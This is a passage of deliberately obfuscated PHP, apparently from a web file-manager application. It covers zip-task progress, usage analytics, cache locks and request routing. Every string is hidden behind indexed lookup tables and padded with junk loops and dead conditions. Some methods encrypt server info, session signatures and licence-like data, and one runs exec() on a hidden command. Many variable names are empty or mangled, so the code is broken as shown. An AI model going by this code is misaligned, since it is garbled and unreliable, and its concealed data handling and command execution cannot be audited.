= $[$٧[79]]; $傺[$٧[1826]] = 0; $傺[$٧[1143]] = $٧[1846]; $傺[$٧[1827]] = $٧[1279]; $傺[$٧[836]] = $[$٧[79]]; $傺[$٧[1141]] = 1; $ڶ = 0; $傺[$٧[1834]] = array($٧[1835] => $ڶ + 1, $٧[494] => $[$٧[32]], $٧[87] => $[$٧[87]], $٧[582] => $[$٧[582]] ? $[$٧[582]] : $[$٧[87]]); $this->update(); } public function zipEvent($젮, $, $, $Á) { $ͩ =& $_SERVER[ׇ]; $ =& $this->task; $[$ͩ[1823]] = get_path_this($); $[$ͩ[1825]] = $Á; $[$ͩ[1826]] = $; $[$ͩ[1143]] = $젮 == $ͩ[1892] ? $ͩ[1893] : $ͩ[1894]; $[$ͩ[1827]] = $ͩ[12]; $[$ͩ[836]] = $Á; $[$ͩ[1890]] = $ͩ[389]; $this->update(); } public function unzipAfter($ծȢ) { $ԋϛ =& $_SERVER[ׇ]; $ =& $this->task; $[$ԋϛ[1890]] = $ԋϛ[110]; $Ȱϕ = IO::infoWithChildren($ծȢ); $ʚ = 0; $[$ԋϛ[1834]] = array($ԋϛ[1835] => $ʚ + 1, $ԋϛ[494] => $Ȱϕ[$ԋϛ[32]], $ԋϛ[87] => $Ȱϕ[$ԋϛ[87]], $ԋϛ[582] => $Ȱϕ[$ԋϛ[582]] ? $Ȱϕ[$ԋϛ[582]] : $Ȱϕ[$ԋϛ[87]]); if ($Ȱϕ[$ԋϛ[33]] == $ԋϛ[230]) { $[$ԋϛ[1141]] = 1; } else { $[$ԋϛ[1141]] = $Ȱϕ[$ԋϛ[82]][$ԋϛ[80]]; } $[$ԋϛ[1143]] = $ԋϛ[12]; $[$ԋϛ[1827]] = 0; $[$ԋϛ[1773]] = 0; $[$ԋϛ[1825]] = 0; $[$ԋϛ[1826]] = 0; $[$ԋϛ[1823]] = $ԋϛ[12]; $[$ԋϛ[1830]] = 0; $[$ԋϛ[836]] = $Ȱϕ[$ԋϛ[79]]; $this->update(); self::log($ԋϛ[1895] . json_encode(array($, $Ȱϕ))); } public function nameParse($) { $ =& $_SERVER[ׇ]; $ܾ =& $this->task; if ($ܾ[$[1890]] == $[1279]) { $ܾ[$[1890]] = $[389]; $ܾ[$[1830]] = 0; $ܾ[$[836]] = 0; } $麧 = get_path_this($); if (strstr($麧, $[10])) { $ܾ[$[1773]] += 1; $ܾ[$[1141]] += 1; } $ܾ[$[1823]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $َ =& $_SERVER[ׇ]; parent::startAfter(); Hook::bind($َ[1896], array($this, $َ[1886])); Hook::bind($َ[1888], array($this, $َ[1889])); $ =& $this->task; $[$َ[1890]] = $َ[1279]; if (!$[$َ[1661]]) { $[$َ[1661]] = LNG($َ[1897]); } } protected function endAfter() { $ʃ =& $_SERVER[ׇ]; parent::endAfter(); Hook::unbind($ʃ[1896], array($this, $ʃ[1886])); Hook::unbind($ʃ[1888], array($this, $ʃ[1889])); } public function updateAfter() { $ݷ =& $_SERVER[ׇ]; $ =& $this->task; if (!$[$ݷ[1141]] || !$[$ݷ[836]]) { return; } if ($[$ݷ[1890]] == $ݷ[1279]) { $ = $[$ݷ[1826]]; if ($[$ݷ[1827]] != $ݷ[1279]) { $ = 0; } $ = ($[$ݷ[1830]] + $) / $[$ݷ[836]]; $[$ݷ[1774]] = $ * 0.3; } else { if ($[$ݷ[1890]] == $ݷ[389]) { $ = $[$ݷ[1773]] / $[$ݷ[1141]]; $[$ݷ[1774]] = 0.3 + $ * 0.5; } else { if ($[$ݷ[1890]] == $ݷ[110]) { $ = 0; if ($[$ݷ[1825]]) { $ = $[$ݷ[1826]] / $[$ݷ[1825]]; } $[$ݷ[1774]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$ݷ[1774]] > 0) { $ = timeFloat() - $[$ݷ[1776]] - $[$ݷ[1779]]; $[$ݷ[1780]] = $ * (1 - $[$ݷ[1774]]) / $[$ݷ[1774]]; } } public function copyFileStart($܌, $揁, $Ί, $, $а, $ч) { $ =& $_SERVER[ׇ]; parent::copyFileStart($܌, $揁, $Ί, $, $а, $ч); $ =& $this->task; if ($[$[1890]] == $[389]) { $[$[1890]] = $[110]; } $this->update(); } public function copyFileEnd($ڿ, $, $, $갻, $, $̖) { $숬 =& $_SERVER[ׇ]; $Җ =& $this->task; $Җ[$숬[1826]] = $Җ[$숬[1825]]; $Җ[$숬[1830]] += $Җ[$숬[1825]]; $Җ[$숬[1827]] = $숬[12]; $this->update(); } public function zipEvent($, $Ў, $鴎, $) { $Î =& $_SERVER[ׇ]; $㐄 =& $this->task; $㐄[$Î[1823]] = get_path_this($Ў); $㐄[$Î[1825]] = $; $㐄[$Î[1826]] = $鴎; $㐄[$Î[1143]] = $ == $Î[1898] ? $Î[1893] : $Î[1894]; $㐄[$Î[1827]] = $Î[12]; $㐄[$Î[836]] = $; $㐄[$Î[1890]] = $Î[389]; $this->update(); } public function nameParse($) { $ʧ =& $_SERVER[ׇ]; $ =& $this->task; if ($[$ʧ[1773]] < $[$ʧ[1141]]) { $ќ = get_path_this($); if (strstr($ќ, $ʧ[10])) { $[$ʧ[1773]] += 1; } } if ($[$ʧ[1890]] == $ʧ[1279]) { $[$ʧ[1890]] = $ʧ[389]; } $[$ʧ[1823]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($˜) { $ =& $_SERVER[ׇ]; $ו = array($[662] => array($[33] => $[1899], $[350] => array($[255], $[838], $[1900], $[1901])), $[1902] => array($[33] => $[1903], $[350] => array($[255], $[836], $[1904], $[1905], $[1906]))); if (!isset($ו[$˜])) { return !1; } $this->optionType = $ו[$˜][$[33]]; $this->field = $ו[$˜][$[350]]; return !0; } public function listData($ɖ癫 = false, $ʆ = "\x6d\x6f\x64\151\146\x79\124\151\x6d\x65", $ = false) { return parent::listData($ɖ癫, $ʆ, $); } public function trendList($߂) { $ܝ =& $_SERVER[ׇ]; $ݦ = $this->listData(); if ($ݦ) { $ӹ = end($ݦ); $ = date($ܝ[1907], strtotime($ܝ[1908])); if ($ӹ[$ܝ[255]] == $) { return $ݦ; } $˾ = strtotime($ӹ[$ܝ[255]]); } if (!isset($˾)) { $Х = $߂ == $ܝ[662] ? $ܝ[598] : $ܝ[897]; $˾ = Model($Х)->min($ܝ[231]); } $ѣ = $ܝ[1909] . ucfirst($߂); $ = $this->dateList($˾); foreach ($ as $) { $this->{$ѣ}($); } return $this->listData(); } private function dateList($) { $胭 =& $_SERVER[ׇ]; $˶߲ = $; $ː = strtotime($胭[1908]); $ڱ = array(); while ($˶߲ <= $ː) { $ڱ[] = date($胭[1907], $˶߲); $˶߲ = strtotime($胭[1910], $˶߲); } return $ڱ; } public function _recordUser($ɠ = '') { $ =& $_SERVER[ׇ]; $ܫ = strtotime(date($[1911], strtotime($ɠ))); $ = strtotime(date($[1912], strtotime($ɠ))); $𒯀 = array($[231] => array($[1091], $)); $ܒ = Model($[598])->where($𒯀)->count($[1772]); $𒯀[$[231]] = array($[409], array($ܫ, $)); $΄ = Model($[598])->where($𒯀)->count($[1772]); $𒯀[$[33]] = $[1913]; $ߤ = Model($[1914])->where($𒯀)->count($[1915]); $ = array($[255] => $ɠ, $[838] => (int) $ܒ, $[1900] => (int) $΄, $[1901] => (int) $ߤ); return $this->insert($); } public function _recordStore($Ճ = '') { $ =& $_SERVER[ׇ]; $ = strtotime(date($[1912], strtotime($Ճ))); $節 = array($[231] => array($[1091], $)); $ = Model($[544])->where($節)->sum($[79]); $節[$[485]] = 0; $ߜȷ = Model($[897])->where($節)->sum($[79]); $節[$[190]] = 1; $ = Model($[897])->where($節)->sum($[79]); $節[$[190]] = 2; $ = Model($[897])->where($節)->sum($[79]); $Գ = array($[255] => $Ճ, $[836] => (int) $ߜȷ, $[1904] => (int) $, $[1905] => (int) $, $[1906] => (int) $); return $this->insert($Գ); } public function trend($Λ, $ǡ͍) { $ĕ =& $_SERVER[ׇ]; if (!$this->init($Λ)) { return !1; } $ = $this->trendList($Λ); if ($ && $ǡ͍ != $ĕ[1745]) { $ = $[0][$ĕ[255]]; $ = $this->validDate($ǡ͍, $); $῕ = array(); $ = array_to_keyvalue($, $ĕ[255]); foreach ($ as $) { if (isset($[$])) { $݇ = $[$]; } else { $݇ = end($); $݇[$ĕ[255]] = $; if ($Λ == $ĕ[662]) { $݇[$ĕ[1900]] = $݇[$ĕ[1901]] = 0; } } $῕[] = $݇; } $ = $῕; } $׻ = array($ĕ[662] => array($ĕ[838] => LNG($ĕ[1916]), $ĕ[1900] => LNG($ĕ[1917]), $ĕ[1901] => LNG($ĕ[1918])), $ĕ[1902] => array($ĕ[836] => LNG($ĕ[1919]), $ĕ[1904] => LNG($ĕ[1920]), $ĕ[1905] => LNG($ĕ[1921]), $ĕ[1906] => LNG($ĕ[1922]))); $۠ = array($ĕ[662] => $ĕ[1923], $ĕ[1902] => $ĕ[79]); if (empty($)) { $ = date($ĕ[1907], strtotime($ĕ[1908])); $􏬶 = array($ĕ[255] => $); foreach ($׻[$Λ] as $ => $݉) { $􏬶[$] = 0; } $[] = $􏬶; } $ = array(); foreach ($ as $݉) { if ($Λ == $ĕ[1902] && $݉[$ĕ[1904]] > $݉[$ĕ[836]]) { $݉[$ĕ[1904]] = $݉[$ĕ[836]]; } foreach ($׻[$Λ] as $ => $๳) { $݇ = array($ĕ[255] => $݉[$ĕ[255]], $ĕ[1661] => $๳); $݇[$۠[$Λ]] = isset($݉[$]) ? $݉[$] : 0; $[] = $݇; } } return $; } public function validDate($ޫ, $ա) { $ =& $_SERVER[ׇ]; $ = date($[1907], strtotime($[1908])); $œ = array($); switch ($ޫ) { case $[1752]: $ε = mktime(0, 0, 0, date($[1924]), date($[1451]) - date($[1541]) + 7 - 7, date($[1925])); $ = 0; do { $̎ = date($[1907], $ε - 3600 * 24 * 7 * $); $œ[] = $̎; $++; } while ($ա < $̎); break; case $[1750]: $ = 1; do { $Ձ = date($[1926], strtotime("\55\40{$}\x20\155\157\156\164\150\163")); $œ[] = $Ձ; $++; } while ($ա < $Ձ); break; case $[1927]: $Ƅҙ = (int) date($[1925], strtotime($ա)); $Ɩ = (int) date($[1925]); if ($Ƅҙ >= $Ɩ) { break; } for ($Ƅҙ; $Ƅҙ < $Ɩ; $Ƅҙ++) { $œ[] = $Ƅҙ . $[1928]; } break; default: break; } if ($ա > end($œ)) { array_pop($œ); } sort($œ); return $œ; } public function listTable($Dz) { $͠ = ucfirst($Dz); return Model($͠)->listData(); } public function option($҈) { $〩 = $_SERVER[ׇ][1929] . ucfirst($҈); return $this->{$〩}(); } private function optionUser() { $׳ =& $_SERVER[ׇ]; $ = Model($׳[598])->count($׳[1772]); $̅ = Model($׳[598])->where($׳[1930])->count($׳[1772]); $ = intval($GLOBALS[$׳[6]][$׳[425]][$׳[1718]]) / 3600; $ߎ = strtotime("\x2d{$}\40\x68\x6f\165\162\x73"); $ = strtotime(date($׳[1911])); if ($ߎ < $) { $ߎ = $; } $ː = array($׳[1931] => array($׳[1092], $ߎ)); $ = (int) Model($׳[598])->where($ː)->count($׳[1772]); if (!$) { $ = 1; } $ː = array($׳[1931] => array($׳[1092], $)); $֢ = Model($׳[598])->where($ː)->count($׳[1772]); return array($׳[831] => (int) $, $׳[1932] => (int) ($ - $̅), $׳[1933] => (int) $̅, $׳[1934] => (int) $֢, $׳[1935] => $); } private function optionFile() { $돆 =& $_SERVER[ׇ]; $ = $this->sourceSize(); $Ն = $[$돆[79]]; $ܘ = $[$돆[1904]]; $ = Model($돆[897])->where(array($돆[485] => 0))->count($돆[193]); $ĄЀ = array($돆[485] => 0, $돆[231] => array($돆[1092], strtotime(date($돆[1911])))); $ޕ = Model($돆[897])->where($ĄЀ)->sum($돆[79]); $ = Model($돆[897])->where($ĄЀ)->count($돆[193]); return array($돆[836] => $Ն, $돆[1904] => $ܘ, $돆[1936] => $Ն - $ܘ, $돆[1937] => (int) $ޕ, $돆[838] => (int) $, $돆[1938] => (int) $); } private function optionAccess() { $ =& $_SERVER[ׇ]; return array($[831] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[525] => $this->typeLogCnt($[525]), $[1939] => $this->typeLogCnt($[1939]), $[1940] => $this->typeLogCnt($[1940]), $[662] => $this->typeLogCnt($[12], $[1915])); } private function typeLogCnt($ = '', $ = "\151\x64") { $ =& $_SERVER[ׇ]; $ӑ˖ = array($[110] => array($[1941], $[1942]), $[525] => array($[1943], $[1944]), $[1939] => array($[1945], $[1946], $[1947]), $[1940] => array($[1948], $[1949]), $[1950] => array($[1951], $[1952], $[1953])); $ = strtotime(date($[1911])); $巸 = array($[231] => array($[1092], $)); if ($) { $巸[$[33]] = array($[7], $ӑ˖[$]); } $փ = Model($[1914])->where($巸)->count($); return (int) $փ; } private function optionServer() { $ꫬ =& $_SERVER[ׇ]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $̔ = array($ꫬ[890] => $[$ꫬ[475]]); $肝 = Model($ꫬ[544])->where($̔)->sum($ꫬ[79]); $ڪ = explode($ꫬ[53], $_SERVER[$ꫬ[147]]); $񵮮 = $ڪ[0]; $ = $GLOBALS[$ꫬ[6]][$ꫬ[21]]; $Ē = $[$ꫬ[1054]]; if ($Ē == $ꫬ[1042]) { $ˋ = explode($ꫬ[1368], $[$ꫬ[1053]]); $Ē = $ˋ[0]; } if ($Ē == $ꫬ[990] || $Ē == $ꫬ[877]) { $ѿ = Model()->db()->query($ꫬ[1954]); $ = $ѿ[0] && isset($ѿ[0][$ꫬ[1660]]) ? $ѿ[0][$ꫬ[1660]] : 0; $Ē = $ꫬ[1955] . ($ ? $ꫬ[8] . $ : $ꫬ[12]); } $ = $GLOBALS[$ꫬ[6]][$ꫬ[425]][$ꫬ[899]]; return array($ꫬ[1956] => $ ? $[$ꫬ[1957]] : 0, $ꫬ[1958] => $ ? $[$ꫬ[1959]] : 0, $ꫬ[1960] => (int) $[$ꫬ[1957]] * 1024 * 1024 * 1024, $ꫬ[1961] => (int) $肝, $ꫬ[1962] => ucfirst($񵮮), $ꫬ[1963] => $ꫬ[1964] . PHP_VERSION, $ꫬ[1965] => phpBuild64() ? 64 : 32, $ꫬ[830] => str_replace($ꫬ[1211], $ꫬ[1070], $Ē), $ꫬ[425] => ucfirst($), $ꫬ[32] => $_SERVER[$ꫬ[1966]]); } private function diskDriver() { $̰ =& $_SERVER[ׇ]; $ = $̰[8]; $ = $GLOBALS[$̰[6]][$̰[1385]] == $̰[1386]; if ($) { $ = $̰[1967]; if (function_exists($̰[1968])) { exec($̰[1969], $); $ = $[1] . $̰[8]; } } if (!file_exists($)) { return; } if (!function_exists($̰[1970])) { return; } $ޫ = @disk_total_space($); $ = $ޫ - @disk_free_space($); return array($̰[1957] => $ޫ, $̰[1959] => $); } public function fileChart($) { $ =& $_SERVER[ׇ]; if (isset($[$[1772]])) { return Model($[897])->userFileTypeProfile($[$[1772]]); } if (isset($[$[1971]])) { return Model($[897])->groupFileTypeProfile($[$[1971]]); } $❡ = $this->sourceSize(); $܆ = array($[192] => 0, $[190] => 1); $ϛ = Model($[897])->where($܆)->sum($[79]); $܆[$[190]] = 2; $ڲ = Model($[897])->where($܆)->sum($[79]); return array($[836] => $❡[$[79]], $[1904] => $❡[$[1904]], $[1905] => (int) $ϛ, $[1906] => (int) $ڲ); } private function sourceSize() { $潳ٗ =& $_SERVER[ׇ]; $ = Model($潳ٗ[897])->where(array($潳ٗ[485] => 0))->sum($潳ٗ[79]); $ = Model($潳ٗ[544])->sum($潳ٗ[79]); if ($ > $) { $ = $; } return array($潳ٗ[79] => (int) $, $潳ٗ[1904] => (int) $); } } goto eܹퟵ; D쮭: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[ׇ]; $Ѳ = $GLOBALS[$[6]][$[425]]; self::$cachePath = $Ѳ[$[230]][$[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $Þ = 0) { $Ҡ =& $_SERVER[ׇ]; $ӝ = microtime(!0); $ = $ӝ + $Þ + 0.0001; $ = rtrim(self::$cachePath, $Ҡ[8]) . $Ҡ[936] . md5($) . $Ҡ[933]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $Ó· = fopen($, $Ҡ[937]); if (!$Ó·) { return !1; } $ = flock($Ó·, LOCK_EX | LOCK_NB); self::$caches[$] = array($Ҡ[938] => $Ó·, $Ҡ[230] => $); fwrite($Ó·, $); clearstatcache(); if ($Ó· && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($ӭ) { $̎۔ =& $_SERVER[ׇ]; $ = rtrim(self::$cachePath, $̎۔[8]) . $̎۔[936] . md5($ӭ) . $̎۔[933]; return file_exists($); } public function unlock($Ђ) { $ =& $_SERVER[ׇ]; $ = self::$caches[$Ђ]; if (!$) { return; } @flock($[$[938]], LOCK_UN); @fclose($[$[938]]); @unlink($[$[230]]); unset(self::$caches[$Ђ]); } } class CacheLockRedis { public function lock($ʷ, $ҝ = 10) { $ظ = Cache::init(); $ = microtime(!0) + $ҝ; while (microtime(!0) < $) { $ײ˹ = $ظ->get($ʷ); if (!$ײ˹) { $ᱭ = $ظ->setLock($ʷ, $, $ҝ); if ($ᱭ) { return !0; } } else { if ($ײ˹ < microtime(!0)) { $ظ->set($ʷ, $, $ҝ * 2); if ($ظ->get($ʷ) === $ײ˹) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($쁝) { return Cache::init()->get($쁝); } public function unlock($į) { return Cache::init()->remove($į); } } goto BӺ; b럤: while (strlen($msdgxqoavn) < $_SERVER[ׇ][684]) { if (!$msdgxqoavn) { break; } $msdgxqoavn++; } class Application { private $defaultModule = "\x69\x6e\x64\x65\170"; private $defaultController = "\151\156\x64\145\x78"; private $defaultAction = "\151\x6e\x64\145\x78"; function __construct() { } public function setDefault($؇Ո) { $ =& $_SERVER[ׇ]; $׀ =& $_SERVER[ɍ]; $Ѓ = explode($׀[0], trim($؇Ո, $׀[0])); $ޛ = $[685]; while (strlen($ޛ) < $[680]) { if (!$ޛ) { break; } $ޛ++; } $this->defaultModule = $Ѓ[0] ? $Ѓ[0] : $this->defaultModule; $ԍ = $[686]; if (!$ԍ) { die; } $this->defaultController = $Ѓ[1] ? $Ѓ[1] : $this->defaultController; $ = $[687]; if (!$) { die; } $this->defaultAction = $Ѓ[2] ? $Ѓ[2] : $this->defaultAction; $this->tugb3fc47667($׀[1], array($this, $׀[2])); $Į = $[688]; if (!$Į) { return; } } public function appRun($Ď̒) { $Ҿ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; $λ = explode($[0], $Ď̒); $Ԕ = strtolower($λ[0]); $ = $[3]; $̸ = $Ҿ[689]; if (strlen($̸) < $Ҿ[690]) { return; } if ($Ԕ == $[4]) { $ = $[5]; $λ[0] = $[6]; $λ[1] = $λ[1] . $[7]; $Ď̒ = join($[0], $λ); $Ď̒ = trim($Ď̒, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $Ď̒); ActionCall($Ď̒); call_user_func(array($[8], $[9]), $ . $[11], $Ď̒); } private function autorun() { $ߘ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; global $config; $շ = $ߘ[691]; if (strlen($շ) < $ߘ[690]) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $β => $) { $this->appRun($); $ƙ = $ߘ[692]; while (strlen($ƙ) < $ߘ[690]) { if (!$ƙ) { break; } $ƙ++; } } } private function xtoza770eab2() { $ඪ =& $_SERVER[ׇ]; $ڻ =& $_SERVER[ɍ]; $ = $ڻ[4]; $ = $GLOBALS[$ڻ[13]][$ڻ[14]][0]; $ = $ඪ[693]; while (strlen($) < $ඪ[694]) { if (!$) { break; } $++; } if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $𢿲 = substr($, 0, -strlen($)); $̟ = array($ڻ[4], $𢿲); $ԉ = array_slice($GLOBALS[$ڻ[13]][$ڻ[14]], 1); $GLOBALS[$ڻ[13]][$ڻ[14]] = array_merge($̟, $ԉ); $؉ = $ඪ[695]; while ($؉ < $ඪ[684]) { if ($؉ >= 0) { break; } $؉++; } $GLOBALS[$ڻ[13]][$ڻ[15]] = implode($ڻ[0], $GLOBALS[$ڻ[13]][$ڻ[14]]); } private function nlay9c9ac8e5() { $إ =& $_SERVER[ׇ]; $㧥 =& $_SERVER[ɍ]; if ($GLOBALS[$㧥[13]][$㧥[15]] != $㧥[6]) { return; } $ = $_SERVER[$㧥[16]]; $ = $إ[696]; if (strlen($) < $إ[694]) { die; } $ڞ = $㧥[17]; $ = $إ[697]; if (!$) { die; } if (!strstr($, $ڞ)) { return; } $Ї = strrpos($, $ڞ); $ΈԜ = substr($, $Ї + strlen($ڞ)); $ų = $إ[698]; preg_match_all($㧥[18], $ΈԜ, $); $ = $إ[699]; while ($ < $إ[680]) { if ($ >= 0) { break; } $++; } $ΈԜ = trim($[0][0], $㧥[19]); $GLOBALS[$㧥[13]][$㧥[14]] = explode($㧥[19], $ΈԜ); $𿟃 = $إ[700]; if (!$𿟃) { return; } $GLOBALS[$㧥[13]][$㧥[15]] = implode($㧥[0], $GLOBALS[$㧥[13]][$㧥[14]]); $ = $إ[701]; } public function run() { $ƃ =& $_SERVER[ׇ]; $¶β =& $_SERVER[ɍ]; $this->nlay9c9ac8e5(); $Ӛ = $ƃ[702]; if (!$Ӛ) { return; } $this->xtoza770eab2(); $ = $ƃ[703]; $ = $GLOBALS[$¶β[13]][$¶β[14]]; $ = $GLOBALS[$¶β[13]][$¶β[15]]; $䣿 = $ƃ[704]; while (strlen($䣿) < $ƃ[705]) { if (!$䣿) { break; } $䣿++; } define($¶β[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $ƃ[706]; define($¶β[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($¶β[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($¶β[23], MOD . $¶β[0] . ST . $¶β[0] . ACT); $_SERVER[$¶β[24]] = strtolower(ACTION); $this->autorun(); if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $rncd81304194 = array(); private $eindaaa9dcf2 = ''; public function cihq47075b91() { $Ҩ =& $_SERVER[ׇ]; $Æ =& $_SERVER[ɍ]; $this->eztl01736c3f(); $this->irsd777ba351(); $ = $Ҩ[707]; if (!$) { die; } $this->ardo40db4489(); $ = $Ҩ[708]; $this->tvfh887241ab(); $ = $Ҩ[709]; if (!$) { return; } $this->wknp6f3453a0(); $쒕 = $Ҩ[710]; $this->szaqdcad9223(); $this->veugd74d488d(); $ = $Ҩ[711]; if (strlen($) < $Ҩ[705]) { return; } $this->tugb3fc47667($Æ[25], array($this, $Æ[26])); $this->tugb3fc47667($Æ[27], array($this, $Æ[28])); $this->tugb3fc47667($Æ[29], array($this, $Æ[30])); $ = $Ҩ[712]; if (strlen($) < $Ҩ[694]) { die; } $this->tugb3fc47667($Æ[31], array($this, $Æ[32])); $ = $Ҩ[713]; if (strlen($) < $Ҩ[684]) { return; } } public function yesf1a335c2b($󖊋) { $᭬ =& $_SERVER[ׇ]; $ˇ =& $_SERVER[ɍ]; $ = Model($ˇ[33])->get(); $Ÿ = $᭬[714]; if (strlen($Ÿ) < $᭬[690]) { die; } $˩ = array($ˇ[34], $ˇ[35], $ˇ[36], $ˇ[37], $ˇ[38], $ˇ[39], $ˇ[40], $ˇ[41], $ˇ[42], $ˇ[43], $ˇ[44], $ˇ[45], $ˇ[46], $ˇ[47], $ˇ[48], $ˇ[49], $ˇ[50], $ˇ[51], $ˇ[52], $ˇ[53], $ˇ[54], $ˇ[55], $ˇ[56], $ˇ[57], $ˇ[58], $ˇ[59], $ˇ[60], $ˇ[61], $ˇ[62], $ˇ[63], $ˇ[64], $ˇ[65], $ˇ[66], $ˇ[67], $ˇ[68], $ˇ[69], $ˇ[70], $ˇ[71], $ˇ[72], $ˇ[73], $ˇ[74], $ˇ[75], $ˇ[76], $ˇ[77], $ˇ[78], $ˇ[79], $ˇ[80], $ˇ[81], $ˇ[82], $ˇ[83], $ˇ[84], $ˇ[85]); foreach ($˩ as $) { $ = $GLOBALS[$ˇ[86]][$ˇ[87]][$]; $Ä = $᭬[715]; if (isset($[$])) { $ = $[$]; } $󖊋[$ˇ[88]][$ˇ[89]][$] = $; } $㙎 = $󖊋[$ˇ[88]][$ˇ[89]][$ˇ[46]]; $Ѫ = $᭬[716]; if (strlen($Ѫ) < $᭬[694]) { return; } unset($󖊋[$ˇ[88]][$ˇ[90]][$ˇ[91]]); $ސ = $᭬[717]; while ($ސ < $᭬[694]) { if ($ސ >= 0) { break; } $ސ++; } unset($󖊋[$ˇ[88]][$ˇ[90]][$ˇ[92]]); $ = $᭬[718]; if (strlen($) < $᭬[694]) { die; } unset($󖊋[$ˇ[88]][$ˇ[89]][$ˇ[46]]); $ԣ = $᭬[719]; if (!$ԣ) { die; } unset($󖊋[$ˇ[88]][$ˇ[89]][$ˇ[93]]); $󖊋[$ˇ[88]][$ˇ[89]][$ˇ[94]] = array($ˇ[95] => (int) $㙎[$ˇ[96]], $ˇ[97] => (int) _get($㙎, $ˇ[98], 0)); $ؿ = substr(md5($ˇ[99] . get_client_ip() . $[$ˇ[100]]), 0, 15); $󖊋[$ˇ[101]][$ˇ[102]] = Mcrypt::encode(Session::sign(), $ؿ, 3600 * 24); $ = $᭬[720]; if (!$) { die; } $󖊋[$ˇ[101]][$ˇ[103]] = Action($ˇ[104])->accessToken(); $󖊋[$ˇ[101]][$ˇ[105]] = md5($_SERVER[$ˇ[106]] . $[$ˇ[100]]); $ِ = $᭬[721]; $󖊋[$ˇ[101]][$ˇ[107]] = base64_encode(serverInfo()); $Ӱ = $᭬[722]; while (strlen($Ӱ) < $᭬[690]) { if (!$Ӱ) { break; } $Ӱ++; } $󖊋[$ˇ[101]][$ˇ[108]] = $this->eindaaa9dcf2; $Ж = $᭬[723]; if ($[$ˇ[108]] != $ˇ[109]) { $󖊋[$ˇ[101]][$ˇ[110]] = $[$ˇ[110]]; $󖊋[$ˇ[101]][$ˇ[111]] = $[$ˇ[111]]; $ = rand_string(10) . $this->eindaaa9dcf2 . rand_string(5); $󖊋[$ˇ[88]][$ˇ[112]][$ˇ[113]] = $this->xevrf4f66e9a($, $󖊋[$ˇ[101]][$ˇ[105]]); } if ($this->eindaaa9dcf2 == $ˇ[109]) { $󖊋[$ˇ[88]][$ˇ[89]][$ˇ[94]][$ˇ[98]] = 0; } $󖊋[$ˇ[101]][$ˇ[114]] = $this->versionPluginFilter(); $󖊋[$ˇ[101]][$ˇ[115]] = _get($this->rncd81304194, $ˇ[116], $ˇ[6]); if (KodUser::isRoot() && $this->config[$ˇ[117]]) { $󖊋[$ˇ[101]][$ˇ[118]] = WEB_ROOT; } return $󖊋; } private function szaqdcad9223() { $η =& $_SERVER[ׇ]; $φ =& $_SERVER[ɍ]; $Ӓ = $_SERVER[$φ[24]] == $φ[119]; if ($_SERVER[$φ[24]] == $φ[120] && $_GET[$φ[121]] == $φ[122]) { $Ӓ = !0; } if ($Ӓ) { $߄ܑ = array($φ[108] => $this->eindaaa9dcf2, $φ[123] => $this->ovekbba1a6a4(), $φ[124] => Model($φ[125])->count()); if ($this->eindaaa9dcf2 != $φ[109]) { $ۛ = _get($this->rncd81304194, $φ[126]); if ($ۛ) { $߄ܑ[$φ[127]] = $ۛ; $߄ܑ[$φ[128]] = strtotime(_get($this->rncd81304194, $φ[129])); $߄ܑ[$φ[130]] = _get($this->rncd81304194, $φ[116]); } $Դھ = Model($φ[33])->get($φ[131], $φ[6], !0); if (is_string($Դھ) && substr($Դھ, 0, 1) == $φ[132]) { $Դھ = json_decode_force($Դھ); } if (is_array($Դھ) && $Դھ[$φ[133]] && strstr($Դھ[$φ[133]], $φ[134])) { $ӓ = explode($φ[134], $Դھ[$φ[133]]); $߄ܑ[$φ[135]] = $ӓ[0]; } } $߄ܑ = $this->vidyceeff10d(json_encode($߄ܑ), md5($φ[136])); $Ҏ = array($φ[137] => $߄ܑ); $ί = $η[724]; if (strlen($ί) < $η[684]) { return; } call_user_func(array($φ[138], $φ[139]), $Ҏ); $– = $η[725]; } if ($this->eindaaa9dcf2 == $φ[109]) { return; } $ӹ = array($φ[140], $φ[141], $φ[142], $φ[143], $φ[144], $φ[145]); $ߵތ = Model($φ[33])->get(); $Ҏ = array($φ[146] => $ߵތ[$φ[34]], $φ[147] => $ߵތ[$φ[35]], $φ[148] => $φ[6]); $ = $η[726]; if (strlen($) < $η[680]) { die; } foreach ($ӹ as $̖) { if (!isset($ߵތ[$̖]) || !$ߵތ[$̖]) { continue; } $Ҏ[$̖] = $ߵތ[$̖]; } call_user_func(array($φ[138], $φ[139]), $Ҏ); } private function tvfh887241ab() { $ =& $_SERVER[ׇ]; $ݔ =& $_SERVER[ɍ]; if ($_SERVER[$ݔ[24]] != $ݔ[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$ݔ[13]]; if (isset($[$ݔ[150]])) { $this->bonk131f69b7(); die; } if (isset($[$ݔ[151]]) && isset($[$ݔ[151]]) == $ݔ[122]) { $[$ݔ[152]] = Model($ݔ[33])->get($ݔ[153]); } if (!isset($[$ݔ[152]]) || strlen($[$ݔ[152]]) != 16) { show_json($ݔ[154] . $[$ݔ[152]], !1); } $䴨 = Model($ݔ[33])->get($ݔ[100]); $؂ = md5($_SERVER[$ݔ[106]] . $䴨); $ޥ = array($ݔ[152] => $[$ݔ[152]], $ݔ[155] => rand_string(16), $ݔ[156] 